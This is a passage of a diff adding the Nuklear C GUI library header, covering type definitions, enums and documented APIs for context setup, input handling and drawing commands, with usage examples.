defined(_MSC_VER) + #define NK_UINT32 unsigned __int32 + #else + #define NK_UINT32 unsigned int + #endif + #endif + #ifndef NK_SIZE_TYPE + #if defined(_WIN64) && defined(_MSC_VER) + #define NK_SIZE_TYPE unsigned __int64 + #elif (defined(_WIN32) || defined(WIN32)) && defined(_MSC_VER) + #define NK_SIZE_TYPE unsigned __int32 + #elif defined(__GNUC__) || defined(__clang__) + #if defined(__x86_64__) || defined(__ppc64__) + #define NK_SIZE_TYPE unsigned long + #else + #define NK_SIZE_TYPE unsigned int + #endif + #else + #define NK_SIZE_TYPE unsigned long + #endif + #endif + #ifndef NK_POINTER_TYPE + #if defined(_WIN64) && defined(_MSC_VER) + #define NK_POINTER_TYPE unsigned __int64 + #elif (defined(_WIN32) || defined(WIN32)) && defined(_MSC_VER) + #define NK_POINTER_TYPE unsigned __int32 + #elif defined(__GNUC__) || defined(__clang__) + #if defined(__x86_64__) || defined(__ppc64__) + #define NK_POINTER_TYPE unsigned long + #else + #define NK_POINTER_TYPE unsigned int + #endif + #else + #define NK_POINTER_TYPE unsigned long + #endif + #endif +#endif + +typedef NK_INT8 nk_char; +typedef NK_UINT8 nk_uchar; +typedef NK_UINT8 nk_byte; +typedef NK_INT16 nk_short; +typedef NK_UINT16 nk_ushort; +typedef NK_INT32 nk_int; +typedef NK_UINT32 nk_uint; +typedef NK_SIZE_TYPE nk_size; +typedef NK_POINTER_TYPE nk_ptr; + +typedef nk_uint nk_hash; +typedef nk_uint nk_flags; +typedef nk_uint nk_rune; + +/* Make sure correct type size: + * This will fire with a negative subscript error if the type sizes + * are set incorrectly by the compiler, and compile out if not */ +NK_STATIC_ASSERT(sizeof(nk_short) == 2); +NK_STATIC_ASSERT(sizeof(nk_ushort) == 2); +NK_STATIC_ASSERT(sizeof(nk_uint) == 4); +NK_STATIC_ASSERT(sizeof(nk_int) == 4); +NK_STATIC_ASSERT(sizeof(nk_byte) == 1); +NK_STATIC_ASSERT(sizeof(nk_flags) >= 4); +NK_STATIC_ASSERT(sizeof(nk_rune) >= 4); +NK_STATIC_ASSERT(sizeof(nk_size) >= sizeof(void*)); +NK_STATIC_ASSERT(sizeof(nk_ptr) >= sizeof(void*)); + +/* ============================================================================ + * + * API + * + * =========================================================================== */ +struct nk_buffer; +struct nk_allocator; +struct nk_command_buffer; +struct nk_draw_command; +struct nk_convert_config; +struct nk_style_item; +struct nk_text_edit; +struct nk_draw_list; +struct nk_user_font; +struct nk_panel; +struct nk_context; +struct nk_draw_vertex_layout_element; +struct nk_style_button; +struct nk_style_toggle; +struct nk_style_selectable; +struct nk_style_slide; +struct nk_style_progress; +struct nk_style_scrollbar; +struct nk_style_edit; +struct nk_style_property; +struct nk_style_chart; +struct nk_style_combo; +struct nk_style_tab; +struct nk_style_window_header; +struct nk_style_window; + +enum {nk_false, nk_true}; +struct nk_color {nk_byte r,g,b,a;}; +struct nk_colorf {float r,g,b,a;}; +struct nk_vec2 {float x,y;}; +struct nk_vec2i {short x, y;}; +struct nk_rect {float x,y,w,h;}; +struct nk_recti {short x,y,w,h;}; +typedef char nk_glyph[NK_UTF_SIZE]; +typedef union {void *ptr; int id;} nk_handle; +struct nk_image {nk_handle handle;unsigned short w,h;unsigned short region[4];}; +struct nk_cursor {struct nk_image img; struct nk_vec2 size, offset;}; +struct nk_scroll {nk_uint x, y;}; + +enum nk_heading {NK_UP, NK_RIGHT, NK_DOWN, NK_LEFT}; +enum nk_button_behavior {NK_BUTTON_DEFAULT, NK_BUTTON_REPEATER}; +enum nk_modify {NK_FIXED = nk_false, NK_MODIFIABLE = nk_true}; +enum nk_orientation {NK_VERTICAL, NK_HORIZONTAL}; +enum nk_collapse_states {NK_MINIMIZED = nk_false, NK_MAXIMIZED = nk_true}; +enum nk_show_states {NK_HIDDEN = nk_false, NK_SHOWN = nk_true}; +enum nk_chart_type {NK_CHART_LINES, NK_CHART_COLUMN, NK_CHART_MAX}; +enum nk_chart_event {NK_CHART_HOVERING = 0x01, NK_CHART_CLICKED = 0x02}; +enum nk_color_format {NK_RGB, NK_RGBA}; +enum nk_popup_type {NK_POPUP_STATIC, NK_POPUP_DYNAMIC}; +enum nk_layout_format {NK_DYNAMIC, NK_STATIC}; +enum nk_tree_type {NK_TREE_NODE, NK_TREE_TAB}; + +typedef void*(*nk_plugin_alloc)(nk_handle, void *old, nk_size); +typedef void (*nk_plugin_free)(nk_handle, void *old); +typedef int(*nk_plugin_filter)(const struct nk_text_edit*, nk_rune unicode); +typedef void(*nk_plugin_paste)(nk_handle, struct nk_text_edit*); +typedef void(*nk_plugin_copy)(nk_handle, const char*, int len); + +struct nk_allocator { + nk_handle userdata; + nk_plugin_alloc alloc; + nk_plugin_free free; +}; +enum nk_symbol_type { + NK_SYMBOL_NONE, + NK_SYMBOL_X, + NK_SYMBOL_UNDERSCORE, + NK_SYMBOL_CIRCLE_SOLID, + NK_SYMBOL_CIRCLE_OUTLINE, + NK_SYMBOL_RECT_SOLID, + NK_SYMBOL_RECT_OUTLINE, + NK_SYMBOL_TRIANGLE_UP, + NK_SYMBOL_TRIANGLE_DOWN, + NK_SYMBOL_TRIANGLE_LEFT, + NK_SYMBOL_TRIANGLE_RIGHT, + NK_SYMBOL_PLUS, + NK_SYMBOL_MINUS, + NK_SYMBOL_MAX +}; +/* ============================================================================= + * + * CONTEXT + * + * =============================================================================*/ +/*/// ### Context +/// Contexts are the main entry point and the majestro of nuklear and contain all required state. +/// They are used for window, memory, input, style, stack, commands and time management and need +/// to be passed into all nuklear GUI specific functions. +/// +/// #### Usage +/// To use a context it first has to be initialized which can be achieved by calling +/// one of either `nk_init_default`, `nk_init_fixed`, `nk_init`, `nk_init_custom`. +/// Each takes in a font handle and a specific way of handling memory. Memory control +/// hereby ranges from standard library to just specifying a fixed sized block of memory +/// which nuklear has to manage itself from. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// // [...] +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// --------------------|------------------------------------------------------- +/// __nk_init_default__ | Initializes context with standard library memory allocation (malloc,free) +/// __nk_init_fixed__ | Initializes context from single fixed size memory block +/// __nk_init__ | Initializes context with memory allocator callbacks for alloc and free +/// __nk_init_custom__ | Initializes context from two buffers. One for draw commands the other for window/panel/table allocations +/// __nk_clear__ | Called at the end of the frame to reset and prepare the context for the next frame +/// __nk_free__ | Shutdown and free all memory allocated inside the context +/// __nk_set_user_data__| Utility function to pass user data to draw command + */ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +/*/// #### nk_init_default +/// Initializes a `nk_context` struct with a default standard library allocator. +/// Should be used if you don't want to be bothered with memory management in nuklear. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_init_default(struct nk_context *ctx, const struct nk_user_font *font); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|--------------------------------------------------------------- +/// __ctx__ | Must point to an either stack or heap allocated `nk_context` struct +/// __font__ | Must point to a previously initialized font handle for more info look at font documentation +/// +/// Returns either `false(0)` on failure or `true(1)` on success. +/// +*/ +NK_API int nk_init_default(struct nk_context*, const struct nk_user_font*); +#endif +/*/// #### nk_init_fixed +/// Initializes a `nk_context` struct from single fixed size memory block +/// Should be used if you want complete control over nuklear's memory management. +/// Especially recommended for system with little memory or systems with virtual memory. +/// For the later case you can just allocate for example 16MB of virtual memory +/// and only the required amount of memory will actually be committed. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_init_fixed(struct nk_context *ctx, void *memory, nk_size size, const struct nk_user_font *font); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// !!! Warning +/// make sure the passed memory block is aligned correctly for `nk_draw_commands`. +/// +/// Parameter | Description +/// ------------|-------------------------------------------------------------- +/// __ctx__ | Must point to an either stack or heap allocated `nk_context` struct +/// __memory__ | Must point to a previously allocated memory block +/// __size__ | Must contain the total size of __memory__ +/// __font__ | Must point to a previously initialized font handle for more info look at font documentation +/// +/// Returns either `false(0)` on failure or `true(1)` on success. +*/ +NK_API int nk_init_fixed(struct nk_context*, void *memory, nk_size size, const struct nk_user_font*); +/*/// #### nk_init +/// Initializes a `nk_context` struct with memory allocation callbacks for nuklear to allocate +/// memory from. Used internally for `nk_init_default` and provides a kitchen sink allocation +/// interface to nuklear. Can be useful for cases like monitoring memory consumption. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_init(struct nk_context *ctx, struct nk_allocator *alloc, const struct nk_user_font *font); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|--------------------------------------------------------------- +/// __ctx__ | Must point to an either stack or heap allocated `nk_context` struct +/// __alloc__ | Must point to a previously allocated memory allocator +/// __font__ | Must point to a previously initialized font handle for more info look at font documentation +/// +/// Returns either `false(0)` on failure or `true(1)` on success. +*/ +NK_API int nk_init(struct nk_context*, struct nk_allocator*, const struct nk_user_font*); +/*/// #### nk_init_custom +/// Initializes a `nk_context` struct from two different either fixed or growing +/// buffers. The first buffer is for allocating draw commands while the second buffer is +/// used for allocating windows, panels and state tables. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_init_custom(struct nk_context *ctx, struct nk_buffer *cmds, struct nk_buffer *pool, const struct nk_user_font *font); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|--------------------------------------------------------------- +/// __ctx__ | Must point to an either stack or heap allocated `nk_context` struct +/// __cmds__ | Must point to a previously initialized memory buffer either fixed or dynamic to store draw commands into +/// __pool__ | Must point to a previously initialized memory buffer either fixed or dynamic to store windows, panels and tables +/// __font__ | Must point to a previously initialized font handle for more info look at font documentation +/// +/// Returns either `false(0)` on failure or `true(1)` on success. +*/ +NK_API int nk_init_custom(struct nk_context*, struct nk_buffer *cmds, struct nk_buffer *pool, const struct nk_user_font*); +/*/// #### nk_clear +/// Resets the context state at the end of the frame. This includes mostly +/// garbage collector tasks like removing windows or table not called and therefore +/// used anymore. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_clear(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +*/ +NK_API void nk_clear(struct nk_context*); +/*/// #### nk_free +/// Frees all memory allocated by nuklear. Not needed if context was +/// initialized with `nk_init_fixed`. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_free(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +*/ +NK_API void nk_free(struct nk_context*); +#ifdef NK_INCLUDE_COMMAND_USERDATA +/*/// #### nk_set_user_data +/// Sets the currently passed userdata passed down into each draw command. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_set_user_data(struct nk_context *ctx, nk_handle data); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|-------------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __data__ | Handle with either pointer or index to be passed into every draw commands +*/ +NK_API void nk_set_user_data(struct nk_context*, nk_handle handle); +#endif +/* ============================================================================= + * + * INPUT + * + * =============================================================================*/ +/*/// ### Input +/// The input API is responsible for holding the current input state composed of +/// mouse, key and text input states. +/// It is worth noting that no direct OS or window handling is done in nuklear. +/// Instead all input state has to be provided by platform specific code. This on one hand +/// expects more work from the user and complicates usage but on the other hand +/// provides simple abstraction over a big number of platforms, libraries and other +/// already provided functionality. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// // [...] +/// } +/// } nk_input_end(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Usage +/// Input state needs to be provided to nuklear by first calling `nk_input_begin` +/// which resets internal state like delta mouse position and button transistions. +/// After `nk_input_begin` all current input state needs to be provided. This includes +/// mouse motion, button and key pressed and released, text input and scrolling. +/// Both event- or state-based input handling are supported by this API +/// and should work without problems. Finally after all input state has been +/// mirrored `nk_input_end` needs to be called to finish input process. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// Event evt; +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// // [...] +/// } +/// } +/// nk_input_end(&ctx); +/// // [...] +/// nk_clear(&ctx); +/// } nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// --------------------|------------------------------------------------------- +/// __nk_input_begin__ | Begins the input mirroring process. Needs to be called before all other `nk_input_xxx` calls +/// __nk_input_motion__ | Mirrors mouse cursor position +/// __nk_input_key__ | Mirrors key state with either pressed or released +/// __nk_input_button__ | Mirrors mouse button state with either pressed or released +/// __nk_input_scroll__ | Mirrors mouse scroll values +/// __nk_input_char__ | Adds a single ASCII text character into an internal text buffer +/// __nk_input_glyph__ | Adds a single multi-byte UTF-8 character into an internal text buffer +/// __nk_input_unicode__| Adds a single unicode rune into an internal text buffer +/// __nk_input_end__ | Ends the input mirroring process by calculating state changes. Don't call any `nk_input_xxx` function referenced above after this call +*/ +enum nk_keys { + NK_KEY_NONE, + NK_KEY_SHIFT, + NK_KEY_CTRL, + NK_KEY_DEL, + NK_KEY_ENTER, + NK_KEY_TAB, + NK_KEY_BACKSPACE, + NK_KEY_COPY, + NK_KEY_CUT, + NK_KEY_PASTE, + NK_KEY_UP, + NK_KEY_DOWN, + NK_KEY_LEFT, + NK_KEY_RIGHT, + /* Shortcuts: text field */ + NK_KEY_TEXT_INSERT_MODE, + NK_KEY_TEXT_REPLACE_MODE, + NK_KEY_TEXT_RESET_MODE, + NK_KEY_TEXT_LINE_START, + NK_KEY_TEXT_LINE_END, + NK_KEY_TEXT_START, + NK_KEY_TEXT_END, + NK_KEY_TEXT_UNDO, + NK_KEY_TEXT_REDO, + NK_KEY_TEXT_SELECT_ALL, + NK_KEY_TEXT_WORD_LEFT, + NK_KEY_TEXT_WORD_RIGHT, + /* Shortcuts: scrollbar */ + NK_KEY_SCROLL_START, + NK_KEY_SCROLL_END, + NK_KEY_SCROLL_DOWN, + NK_KEY_SCROLL_UP, + NK_KEY_MAX +}; +enum nk_buttons { + NK_BUTTON_LEFT, + NK_BUTTON_MIDDLE, + NK_BUTTON_RIGHT, + NK_BUTTON_DOUBLE, + NK_BUTTON_MAX +}; +/*/// #### nk_input_begin +/// Begins the input mirroring process by resetting text, scroll +/// mouse, previous mouse position and movement as well as key state transitions, +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_begin(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +*/ +NK_API void nk_input_begin(struct nk_context*); +/*/// #### nk_input_motion +/// Mirrors current mouse position to nuklear +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_motion(struct nk_context *ctx, int x, int y); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __x__ | Must hold an integer describing the current mouse cursor x-position +/// __y__ | Must hold an integer describing the current mouse cursor y-position +*/ +NK_API void nk_input_motion(struct nk_context*, int x, int y); +/*/// #### nk_input_key +/// Mirrors the state of a specific key to nuklear +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_key(struct nk_context*, enum nk_keys key, int down); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __key__ | Must be any value specified in enum `nk_keys` that needs to be mirrored +/// __down__ | Must be 0 for key is up and 1 for key is down +*/ +NK_API void nk_input_key(struct nk_context*, enum nk_keys, int down); +/*/// #### nk_input_button +/// Mirrors the state of a specific mouse button to nuklear +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_button(struct nk_context *ctx, enum nk_buttons btn, int x, int y, int down); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __btn__ | Must be any value specified in enum `nk_buttons` that needs to be mirrored +/// __x__ | Must contain an integer describing mouse cursor x-position on click up/down +/// __y__ | Must contain an integer describing mouse cursor y-position on click up/down +/// __down__ | Must be 0 for key is up and 1 for key is down +*/ +NK_API void nk_input_button(struct nk_context*, enum nk_buttons, int x, int y, int down); +/*/// #### nk_input_scroll +/// Copies the last mouse scroll value to nuklear. Is generally +/// a scroll value. So does not have to come from mouse and could also originate +/// TODO finish this sentence +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_scroll(struct nk_context *ctx, struct nk_vec2 val); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __val__ | vector with both X- as well as Y-scroll value +*/ +NK_API void nk_input_scroll(struct nk_context*, struct nk_vec2 val); +/*/// #### nk_input_char +/// Copies a single ASCII character into an internal text buffer +/// This is basically a helper function to quickly push ASCII characters into +/// nuklear. +/// +/// !!! Note +/// Stores up to NK_INPUT_MAX bytes between `nk_input_begin` and `nk_input_end`. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_char(struct nk_context *ctx, char c); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __c__ | Must be a single ASCII character preferable one that can be printed +*/ +NK_API void nk_input_char(struct nk_context*, char); +/*/// #### nk_input_glyph +/// Converts an encoded unicode rune into UTF-8 and copies the result into an +/// internal text buffer. +/// +/// !!! Note +/// Stores up to NK_INPUT_MAX bytes between `nk_input_begin` and `nk_input_end`. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_glyph(struct nk_context *ctx, const nk_glyph g); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __g__ | UTF-32 unicode codepoint +*/ +NK_API void nk_input_glyph(struct nk_context*, const nk_glyph); +/*/// #### nk_input_unicode +/// Converts a unicode rune into UTF-8 and copies the result +/// into an internal text buffer. +/// !!! Note +/// Stores up to NK_INPUT_MAX bytes between `nk_input_begin` and `nk_input_end`. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_unicode(struct nk_context*, nk_rune rune); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +/// __rune__ | UTF-32 unicode codepoint +*/ +NK_API void nk_input_unicode(struct nk_context*, nk_rune); +/*/// #### nk_input_end +/// End the input mirroring process by resetting mouse grabbing +/// state to ensure the mouse cursor is not grabbed indefinitely. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_input_end(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to a previously initialized `nk_context` struct +*/ +NK_API void nk_input_end(struct nk_context*); +/* ============================================================================= + * + * DRAWING + * + * =============================================================================*/ +/*/// ### Drawing +/// This library was designed to be render backend agnostic so it does +/// not draw anything to screen directly. Instead all drawn shapes, widgets +/// are made of, are buffered into memory and make up a command queue. +/// Each frame therefore fills the command buffer with draw commands +/// that then need to be executed by the user and his own render backend. +/// After that the command buffer needs to be cleared and a new frame can be +/// started. It is probably important to note that the command buffer is the main +/// drawing API and the optional vertex buffer API only takes this format and +/// converts it into a hardware accessible format. +/// +/// #### Usage +/// To draw all draw commands accumulated over a frame you need your own render +/// backend able to draw a number of 2D primitives. This includes at least +/// filled and stroked rectangles, circles, text, lines, triangles and scissors. +/// As soon as this criterion is met you can iterate over each draw command +/// and execute each draw command in a interpreter like fashion: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case //...: +/// //[...] +/// } +/// } +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// In program flow context draw commands need to be executed after input has been +/// gathered and the complete UI with windows and their contained widgets have +/// been executed and before calling `nk_clear` which frees all previously +/// allocated draw commands. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// Event evt; +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// [...] +/// } +/// } +/// nk_input_end(&ctx); +/// // +/// // [...] +/// // +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case ...: +/// // [...] +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// You probably noticed that you have to draw all of the UI each frame which is +/// quite wasteful. While the actual UI updating loop is quite fast rendering +/// without actually needing it is not. So there are multiple things you could do. +/// +/// First is only update on input. This of course is only an option if your +/// application only depends on the UI and does not require any outside calculations. +/// If you actually only update on input make sure to update the UI two times each +/// frame and call `nk_clear` directly after the first pass and only draw in +/// the second pass. In addition it is recommended to also add additional timers +/// to make sure the UI is not drawn more than a fixed number of frames per second. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// // [...wait for input ] +/// // [...do two UI passes ...] +/// do_ui(...) +/// nk_clear(&ctx); +/// do_ui(...) +/// // +/// // draw +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case ...: +/// //[...] +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// The second probably more applicable trick is to only draw if anything changed. +/// It is not really useful for applications with continuous draw loop but +/// quite useful for desktop applications. To actually get nuklear to only +/// draw on changes you first have to define `NK_ZERO_COMMAND_MEMORY` and +/// allocate a memory buffer that will store each unique drawing output. +/// After each frame you compare the draw command memory inside the library +/// with your allocated buffer by memcmp. If memcmp detects differences +/// you have to copy the command buffer into the allocated buffer +/// and then draw like usual (this example uses fixed memory but you could +/// use dynamically allocated memory). +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// //[... other defines ...] +/// #define NK_ZERO_COMMAND_MEMORY +/// #include "nuklear.h" +/// // +/// // setup context +/// struct nk_context ctx; +/// void *last = calloc(1,64*1024); +/// void *buf = calloc(1,64*1024); +/// nk_init_fixed(&ctx, buf, 64*1024); +/// // +/// // loop +/// while (1) { +/// // [...input...] +/// // [...ui...] +/// void *cmds = nk_buffer_memory(&ctx.memory); +/// if (memcmp(cmds, last, ctx.memory.allocated)) { +/// memcpy(last,cmds,ctx.memory.allocated); +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case ...: +/// // [...] +/// } +/// } +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Finally while using draw commands makes sense for higher abstracted platforms like +/// X11 and Win32 or drawing libraries it is often desirable to use graphics +/// hardware directly. Therefore it is possible to just define +/// `NK_INCLUDE_VERTEX_BUFFER_OUTPUT` which includes optional vertex output. +/// To access the vertex output you first have to convert all draw commands into +/// vertexes by calling `nk_convert` which takes in your preferred vertex format. +/// After successfully converting all draw commands just iterate over and execute all +/// vertex draw commands: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// // fill configuration +/// struct your_vertex +/// { +/// float pos[2]; // important to keep it to 2 floats +/// float uv[2]; +/// unsigned char col[4]; +/// }; +/// struct nk_convert_config cfg = {}; +/// static const struct nk_draw_vertex_layout_element vertex_layout[] = { +/// {NK_VERTEX_POSITION, NK_FORMAT_FLOAT, NK_OFFSETOF(struct your_vertex, pos)}, +/// {NK_VERTEX_TEXCOORD, NK_FORMAT_FLOAT, NK_OFFSETOF(struct your_vertex, uv)}, +/// {NK_VERTEX_COLOR, NK_FORMAT_R8G8B8A8, NK_OFFSETOF(struct your_vertex, col)}, +/// {NK_VERTEX_LAYOUT_END} +/// }; +/// cfg.shape_AA = NK_ANTI_ALIASING_ON; +/// cfg.line_AA = NK_ANTI_ALIASING_ON; +/// cfg.vertex_layout = vertex_layout; +/// cfg.vertex_size = sizeof(struct your_vertex); +/// cfg.vertex_alignment = NK_ALIGNOF(struct your_vertex); +/// cfg.circle_segment_count = 22; +/// cfg.curve_segment_count = 22; +/// cfg.arc_segment_count = 22; +/// cfg.global_alpha = 1.0f; +/// cfg.null = dev->null; +/// // +/// // setup buffers and convert +/// struct nk_buffer cmds, verts, idx; +/// nk_buffer_init_default(&cmds); +/// nk_buffer_init_default(&verts); +/// nk_buffer_init_default(&idx); +/// nk_convert(&ctx, &cmds, &verts, &idx, &cfg); +/// // +/// // draw +/// nk_draw_foreach(cmd, &ctx, &cmds) { +/// if (!cmd->elem_count) continue; +/// //[...] +/// } +/// nk_buffer_free(&cms); +/// nk_buffer_free(&verts); +/// nk_buffer_free(&idx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// --------------------|------------------------------------------------------- +/// __nk__begin__ | Returns the first draw command in the context draw command list to be drawn +/// __nk__next__ | Increments the draw command iterator to the next command inside the context draw command list +/// __nk_foreach__ | Iterates over each draw command inside the context draw command list +/// __nk_convert__ | Converts from the abstract draw commands list into a hardware accessible vertex format +/// __nk_draw_begin__ | Returns the first vertex command in the context vertex draw list to be executed +/// __nk__draw_next__ | Increments the vertex command iterator to the next command inside the context vertex command list +/// __nk__draw_end__ | Returns the end of the vertex draw list +/// __nk_draw_foreach__ | Iterates over each vertex draw command inside the vertex draw list +*/ +enum nk_anti_aliasing {NK_ANTI_ALIASING_OFF, NK_ANTI_ALIASING_ON}; +enum nk_convert_result { + NK_CONVERT_SUCCESS = 0, + NK_CONVERT_INVALID_PARAM = 1, + NK_CONVERT_COMMAND_BUFFER_FULL = NK_FLAG(1), + NK_CONVERT_VERTEX_BUFFER_FULL = NK_FLAG(2), + NK_CONVERT_ELEMENT_BUFFER_FULL = NK_FLAG(3) +}; +struct nk_draw_null_texture { + nk_handle texture; /* texture handle to a texture with a white pixel */ + struct nk_vec2 uv; /* coordinates to a white pixel in the texture */ +}; +struct nk_convert_config { + float global_alpha; /* global alpha value */ + enum nk_anti_aliasing line_AA; /* line anti-aliasing flag can be turned off if you are tight on memory */ + enum nk_anti_aliasing shape_AA; /* shape anti-aliasing flag can be turned off if you are tight on memory */ + unsigned circle_segment_count; /* number of segments used for circles: default to 22 */ + unsigned arc_segment_count; /* number of segments used for arcs: default to 22 */ + unsigned curve_segment_count; /* number of segments used for curves: default to 22 */ + struct nk_draw_null_texture null; /* handle to texture with a white pixel for shape drawing */ + const struct nk_draw_vertex_layout_element *vertex_layout; /* 